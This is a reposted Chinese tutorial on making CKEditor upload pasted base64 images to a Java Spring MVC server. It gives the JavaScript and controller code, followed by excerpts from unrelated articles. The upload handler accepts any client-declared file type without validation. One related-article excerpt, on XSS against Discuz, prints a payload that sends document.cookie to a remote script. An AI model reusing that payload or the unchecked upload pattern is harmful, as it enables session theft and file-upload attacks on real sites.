ckeditor java 上传_CKEditor粘贴图片自动上传到服务器(Java版)

环境:java,springmvc,ckeditor,tomcat,maven

情况:在做项目的时候发现本地图片粘贴到ckeditor中,img标签的src中的值是“data:image/png;base64,”开头的,后面会跟一串字符串,图片越大字符串越长,这样的图片在保存的时候一旦放多了过后,后台不知什么原因拿不到其它的参数,所以想把这种图片上传到后台在显示出来。研究了一天的发觉还是挺简单的,主要是ckeditor怎么获取img并获取src 。下面看一下代码。

流程:监听change事件-》获取图片的二进制数据,将base64图片转换成formData再提交到服务器-》服务器接收上传的文件,生成图片到指定位置,并返回图片的访问地址-》js接收回调数据,获得图片url-》将获得的url地址替换掉图片的二进制数据

1,定义一个textarea

${article.content}

2,js方法

//粘贴图片上传

//延时加载uploadImage方法,否则被默认方法覆盖

$(function(){setTimeout(uplaodImage,400);});

//使用FormData形式,将base64图片转换成formData再提交(图片不限制大小)

function uplaodImage(){

CKEDITOR.instances.content.on('change',function(e){//content为textarea的id

var a = e.editor.document ;

var b = a.find("img");

var count = b.count();

for(var i=0;i

var src =b.getItem(i).$.src;//获取img的src

if(src.substring(0,10)=='data:image'){ //判断是否是二进制图像,是才处理

var img1=src.split(',')[1];

var img2=window.atob(img1);

alert('img2 size='+img2.length);

var ia = new Uint8Array(img2.length);

for (var x = 0; x < img2.length; x++) {

ia[x] = img2.charCodeAt(x);

};

//获得图片的类型

var w1=src.indexOf(":");//获得指定字符的第一个下标值

var w2=src.indexOf(";");

var imgType= src.substring(w1+1, w2);//返回一个包含从 start 到最后(不包含 end )的子字符串的字符串

var blob=new Blob([ia], {type:imgType});

var formdata=new FormData();

formdata.append('croppedImage',blob);

$.ajax({

type:"POST",

url:"${baseurl}article/uploadImage.action",//服务器url

async:false,//同步,因为修改编辑器内容的时候会多次调用change方法,所以要同步,否则会多次调用后台

data:formdata,

processData: false,

contentType: false,

success:function(json){

var imgurl=json.resultInfo.sysdata.url; //获取回传的图片url

//alert('返回的url='+imgurl);

//获取并更改到现有的图片标签src的值

b.getItem(i).$.src=imgurl;

var a = CKEDITOR.instances.content.document.$.getElementsByTagName("img")[i]; //content为textarea的id

a.setAttribute('data-cke-saved-src',imgurl);

}

});

}

}

});

}

3,后台方法

/**

* ckeditor粘贴图片上传并返回访问路径(不限制图片大小)

* @param imgfile 图片文件

* @return

*/

@RequestMapping(value = "uploadImage", method = RequestMethod.POST)

public @ResponseBody SubmitResultInfo uploadImage(@RequestParam("croppedImage") MultipartFile imgfile) {

try {

//获取 文件后缀

String fileSuffixes =imgfile.getContentType().split("/")[1];// data:image/png

// 生成文件名称

Calendar cal = Calendar.getInstance();

SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmssSSS");

String filename = sdf.format(cal.getTime());

// 生成图片保存路径

String filePath = "E:/temp/tempfile" + "/" + filename + "." + fileSuffixes;

// 图片访问路径

String fileurl = "http://localhost:5080/upimg/" + filename + "." + fileSuffixes;

System.out.println("fileurl=" + fileurl);

// 写文件到磁盘

File newFile = new File(filePath);

imgfile.transferTo(newFile);

//返回url

ResultInfo resultInfo = ResultUtil.createSuccess(Config.MESSAGE, 906, null);

resultInfo.getSysdata().put("url", fileurl);//返回的图片访问路径

return ResultUtil.createSubmitResult(resultInfo);

} catch (Exception e) {

e.printStackTrace();

return ResultUtil.createSubmitResult(ResultUtil.createSuccess(Config.MESSAGE, 911, null));//500错误

}

}

4,其它环境配置

4.1在spinrg-mvc.xml中配置配置上传解析器

4.2,pom.xml引入依赖

commons-fileupload

commons-fileupload

1.3.1

4.3,配置图片的虚拟路径,如

b3acf2745cca477ab4ffe0c7fd9afefc.png

部分参考:http://blog.csdn.net/modernzcl/article/details/18365151

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/533224.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java 百度poi_Android应用中使用百度地图API之POI(三)

先看执行后的图吧&#xff1a;POI(Point of Interest)。中文能够翻译为“兴趣点”。在地理信息系统中。一个POI能够是一栋房子、一个商铺、一个邮筒、一个公交站等 具体&#xff1a;http://developer.baidu.com/map/sdkandev-4.htm主要应用 MKSearch 类&#xff1a;com.baidu.…

java第四次上机作业_第十java上机作业

第十java上机作业 第七章上级作业 7.1 public class Rectangle { double width1; double height1; String color“white“; public Rectangle(){} public Rectangle(double width,double height,String color) { this.widthwidth; this.heightheight; this.colorcolor; } publi…

java文件编码格式环境变量_Jenkins maven 构建乱码,修改file.encoding系统变量编码为UTF-8...

一切都是windows的控制台默认编码GBK问题情景&#xff1a;使用jenkins构建&#xff0c;console 输出的中文乱码。代码编码格式是utf-8&#xff0c;因为Jenkins会默认读取当前系统的编码格式&#xff0c;导致构建日志乱码和selenium自动化测试输入的中文乱码。控制台输出乱码摸索…

java分布式会话redis_详解springboot中redis的使用和分布式session共享问题

对于分布式使用NginxTomcat实现负载均衡&#xff0c;最常用的均衡算法有IP_Hash、轮训、根据权重、随机等。不管对于哪一种负载均衡算法&#xff0c;由于Nginx对不同的请求分发到某一个Tomcat&#xff0c;Tomcat在运行的时候分别是不同的容器里&#xff0c;因此会出现session不…

python3.8使用方法_python3.8新特性

python3.8新特性Python3.8稳定版已发布&#xff0c;官网发布了一篇介绍新特性的文章&#xff0c;在此记录一下。新增赋值操作符:作用&#xff1a;把较大表达式中的某部分值赋给变量,因为看起来像海象的眼睛和牙齿&#xff0c;: 操作符有个特别的名字&#xff1a;海象操作符范例…

java责任链设计模式 订单_Java责任链设计模式实例分析

本文实例讲述了Java责任链设计模式。分享给大家供大家参考&#xff0c;具体如下&#xff1a;一 代码abstract class AbstractHandler {private Handler Handler null;// 持有责任链中下一个责任处理者的引用public void setHandler( Handler handler ) {this.Handler handler…

java map去重复的数据_使用HashMap去重复数据.

因为HashMap是键值对形式&#xff0c;所以一个键只对应一个Value&#xff0c;利用这个原理&#xff0c;我们就可以根据某列重复数据做键对重复数据进行处理啦~首先先看看我要处理 的数据然后我最后想要的结果&#xff1a;需求&#xff1a;根据groupName每个分组信息只显示一条数…

centos6.5 MySQL 服务器_启用CentOS6.5 64位安装时自带的MySQL数据库服务器

本人在虚拟机上又安装了一台linux机器&#xff0c;作为MySQL数据库服务器用&#xff0c;在安装时选择了系统自带的MySQL服务器端&#xff0c;以下是启用步骤。首先开启mysqld服务#service mysqld start进入/usr/bin目录#cd /usr/bin设定mysql数据库root用户的密码#mysqladmin -…

java xml date_W3C XML 模式时间数据类型与java Date进行转换

W3C XML 模式时间数据格式:"2014-11-17T 09:40:25" 或者 “2014-11-17T 09:40:2508:00”要想把以上格式的时间转换为能被java所使用个格式有以下3种办法&#xff1a;(1)、jdk中有这么一个类XMLGregorianCalendar&#xff0c;使用XMLGregorianCalendar类中的toGreGreg…

authinfo.php,【nginxphp】后台权限认证方式

一、最常用的方法(代码中限制)1、如何限制IPfunction get_new_ip(){if(getenv(HTTP_CLIENT_IP)) {$onlineip getenv(HTTP_CLIENT_IP);} elseif(getenv(HTTP_X_FORWARDED_FOR)) {$onlineip getenv(HTTP_X_FORWARDED_FOR);} elseif(getenv(REMOTE_ADDR)) {$onlineip getenv(RE…

xss漏洞php注射实战,利用XSS渗透DISCUZ 6.1.0实战

论坛——>入侵者布置的跨站攻击——>转移被入侵这视线(隐蔽)论坛插入脚本&#xff1a;var img new Image();img.src get_cookie.php?var encodeURI(document.cookie);但是我不一样&#xff0c;因为他需要诱导人去点击他的链接&#xff0c;但是现在人不是傻子&#xf…

宇轩网络面试题目PHP,二十道接地气的php面试题,让你直接通过面试!就此奉上~...

1、echo count(“abc”); 输出什么&#xff1f;答&#xff1a;"1"count— 计算数组中的单元数目或对象中的属性个数int count ( mixed var\[,intvar \[, intvar\[,intmode ] ), 如果 var 不是数组类型或者实现了 Countable 接口的对象&#xff0c;将返回 1&#xff0…

java期末试题c卷,JAVA程序设计期末考试试卷及参考答案

《JAVA程序设计》期末考试试卷考生注意&#xff1a;1&#xff0e;本试卷满分100分。2&#xff0e;考试时间90分钟。3&#xff0e;卷面整洁&#xff0c;字迹工整。4&#xff0e;填写内容不得超出密封线。总分题号一二三四五六核分人题分21204019复查人得分一、单选择题(每题2分&…

mysql 分组查询原理,MySQL分組查詢Group By實現原理詳解

由於GROUP BY 實際上也同樣會進行排序操作&#xff0c;而且與ORDER BY 相比&#xff0c;GROUP BY 主要只是多了排序之后的分組操作。當然&#xff0c;如果在分組的時候還使用了其他的一些聚合函數&#xff0c;那么還需要一些聚合函數的計算。所以&#xff0c;在GROUP BY 的實現…

mac php命令行模式,phpstorm分别在Mac和Windows下启动命令行,并启用ssh

Mac:在terminal下运行 sudo -i 输入密码 就可以用ssh IP:端口 命令行登录了DAssist是一个命令行开发辅助&#xff0c;可直接在系统命令行工具中使用&#xff0c;Linux和MacOS等自带命令终端的系统好说&#xff0c;windows下也有cmd和powerShell。那么如何结合开发IDE工具进行…

python 逻辑回归准确率是1,Python利用逻辑回归模型解决MNIST手写数字识别问题详解...

本文实例讲述了Python利用逻辑回归模型解决MNIST手写数字识别问题。分享给大家供大家参考&#xff0c;具体如下&#xff1a;1、MNIST手写识别问题MNIST手写数字识别问题&#xff1a;输入黑白的手写阿拉伯数字&#xff0c;通过机器学习判断输入的是几。可以通过TensorFLow下载MN…

php面试题接口方面,php面试题6 - osc_xb4v1nhl的个人空间 - OSCHINA - 中文开源技术交流社区...

php面试题6一、总结二、php面试题6写出你认为语言中的高级函数:1)preg_replace()2)preg_match()3) ignore_user_abort()4) debug_backtrace()5) date_default_timezone_set(“PRC”)6) get_class_methods() 得到类的方法名的数组7) preg_split() 字符串分割成数组8)json_encode…

关于php的问题有哪些,关于PHP的报错问题?

关于这个报错的表格我不知到怎么去做&#xff0c;下面的是代码&#xff1a;header(content-type:text/html;charsetutf-8);session_start();include_once ../include/conf.php;include_once ../include/func.php;include_once ../include/mysql.func.php;check_login();$pageSi…

oracle官方文档查看方法,oracle官方文档_查看初始化参数(举例)

深蓝的blog&#xff1a;http://blog.csdn.net/huangyanlong/article/details/46864217记录了一下&#xff0c;使用oracle11g联机文档&#xff0c;查看初始化参数的步骤。如果想查看&#xff0c;可以修改的初始化参数的概念信息&#xff0c;可以点击“ChangingParameter Values …

oracle p l,使用P.A.L制作便携软件 (一) 基本原理 | 么么哒拥有者

因爱好自学所得&#xff0c;并非专业&#xff0c;此处只是抛砖引玉&#xff0c;欢迎相互交流、学习、提高&#xff0c;辛苦码字不易&#xff0c;如转载望保留链接出处。简单介绍&#xff1a;P.A.L是PortableApps.com Launcher的简称&#xff0c;它是PortableApps.com开发的便携…